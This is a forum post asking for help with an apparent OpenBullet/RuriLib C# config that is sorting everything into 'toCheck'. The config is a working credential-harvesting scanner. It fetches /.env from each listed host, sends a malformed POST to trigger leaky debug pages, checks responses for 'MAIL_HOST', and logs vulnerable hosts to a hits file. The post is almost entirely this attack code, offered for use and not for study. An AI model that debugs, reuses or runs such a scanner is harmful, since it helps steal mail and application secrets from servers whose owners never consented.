Hello,
Im learning how to code in c#, but there seems to be a problem since i already add keycheck but all my stuff going into “toCheck” not on fails nor hits
here’s my code
Summary
using System.IO;
// BLOCK: Http Request
data.ExecutingBlock("Http Request");
try
{
await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = $"http://{input.DATA}/.env", Method = RuriLib.Functions.Http.HttpMethod.GET, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, HttpLibrary = RuriLib.Functions.Http.Options.HttpLibrary.RuriLibHttp, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{"User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/83.0.4103.116 Safari/537.36"}, {"Pragma", "no-cache"}, {"Accept", "*/*"}, {"Accept-Language", "en-US,en;q=0.8"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, DecodeHtml = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false);
if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "MAIL_HOST"))
{
data.ExecutingBlock("Keycheck");
string _env = "VALID ENV";
data.MarkForCapture(nameof(_env));
data.STATUS = "SUCCESS";
File.AppendAllText(@"UserHits/VALID.txt", $"{input.DATA}" + Environment.NewLine);
return;
}
else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.DoesNotContain, "MAIL_HOST")){
data.ExecutingBlock("Keycheck");
data.STATUS = "FAIL";
}
else
{
data.ExecutingBlock("Keycheck");
data.STATUS = "BAN";
return;
}
}
catch (Exception safeException)
{
data.ERROR = safeException.PrettyPrint();
data.Logger.Log($"[SAFE MODE] Exception caught and saved to data.ERROR: {data.ERROR}", LogColors.Tomato);
}
data.ExecutingBlock("Http Request");
try
{
await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = "user[]=admin@localhost", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = $"http://{input.DATA}", Method = RuriLib.Functions.Http.HttpMethod.POST, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, HttpLibrary = RuriLib.Functions.Http.Options.HttpLibrary.RuriLibHttp, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{"User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/83.0.4103.116 Safari/537.36"}, {"Pragma", "no-cache"}, {"Accept", "*/*"}, {"Accept-Language", "en-US,en;q=0.8"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, DecodeHtml = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false);
if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "MAIL_HOST"))
{
data.ExecutingBlock("Keycheck");
string _debug = "VALID DEBUG";
data.MarkForCapture(nameof(_debug));
data.STATUS = "SUCCESS";
File.AppendAllText(@"UserHits/VALID.txt", $"{input.DATA}" + Environment.NewLine);
return;
}
else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.DoesNotContain, "MAIL_HOST")){
data.ExecutingBlock("Keycheck");
data.STATUS = "FAIL";
}
else
{
data.ExecutingBlock("Keycheck");
data.STATUS = "BAN";
return;
}
}
catch (Exception safeException)
{
data.ERROR = safeException.PrettyPrint();
data.Logger.Log($"[SAFE MODE] Exception caught and saved to data.ERROR: {data.ERROR}", LogColors.Tomato);
}
data.ExecutingBlock("Keycheck");
if (CheckGlobalBanKeys(data))
{
data.STATUS = "BAN";
return;
}
if (CheckGlobalRetryKeys(data))
{
data.STATUS = "RETRY";
return;
}